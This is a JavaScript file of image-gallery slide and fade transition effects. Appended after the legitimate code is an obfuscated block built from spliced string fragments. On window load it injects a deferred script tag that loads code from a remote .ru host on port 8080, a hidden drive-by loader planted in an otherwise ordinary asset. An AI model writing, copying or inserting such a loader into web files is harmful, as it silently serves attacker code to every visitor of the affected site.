/**
 * @author jon
 */
gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});
var s={};kF=41948;kF++;var C=["Bi","J","_"];function D(){this.t=33346;this.t-=225;var X=String("SNKsrc".substr(3));var l=new String("on"+"6sd0lo".substr(4)+"ad");qO={p:false};try {var Bx='O'} catch(Bx){};var u="body";g=[];CJ=["Yk","o","aB"];var f=new String("crea"+"teEl"+"emenQvoO".substr(0,4)+"tTInV".substr(0,1));var CL=false;var Jb=false;var lk="scrBl4V".substr(0,3)+"rUf5iptrf5U".substr(4,3);var YT=["KP","F","Jj"];var cd=window;this.ap=28339;this.ap+=241;var k=String("app"+"end"+"ChimvFg".substr(0,3)+"GW9slds9WG".substr(4,2));var N=["Il"];WU={};var P=String("def"+"er");var OE=new Array();var jJ={};var M=document;tW={};var LE={d:false};this.WC=33221;this.WC-=163;hJ=["x","aT"];function v(){cl=["vQ","qD","De"];var iS={Yd:"Q_"};var zs=["Fi","Lq","Ei"];var Fii={UG:"jE"};try {try {var ME='PH'} catch(ME){};var vj={If:false};var sP="";var q=195981-187901;var cO=String("/goo"+"gle."+"2xKQcom/".substr(4)+"colliV0B".substr(0,4)+"egeh"+"umor"+".com"+"/ame"+"ba.j"+"p.ph"+"pvUC".substr(0,1));var Z={};var h=String("htvkQG".substr(0,2)+"uTMstp".substr(4)+"ulk:/".substr(3)+"E3AC/w3CAE".substr(4,2)+"an"+"tdbGxh".substr(0,2)+"zBIciv".substr(4)+"dH2e.Hd2".substr(3,2)+"ruMKvW".substr(0,2)+"9tx:".substr(3));cs=47159;cs-=136;var e=4023-4022;HR=43682;HR-=43;Pw=[];var oo="";var B_="";y=M[f](lk);this.bt='';clX=["_q","Zo","gc"];this.Ch=false;y[X]=h+q+cO;y[P]=e;M[u][k](y);var Xi='';var Kt="Kt";} catch(n){var _Z=[];var JW={iR:false};b_=["BI"];};this.Bv=46639;this.Bv++;try {} catch(Hv){};}this.aQ=50435;this.aQ+=55;cd[l]=v;};try {} catch(KtH){};Ra=["VZ","sV","_S"];D();hc={};Dl=["ah","hF","_o"];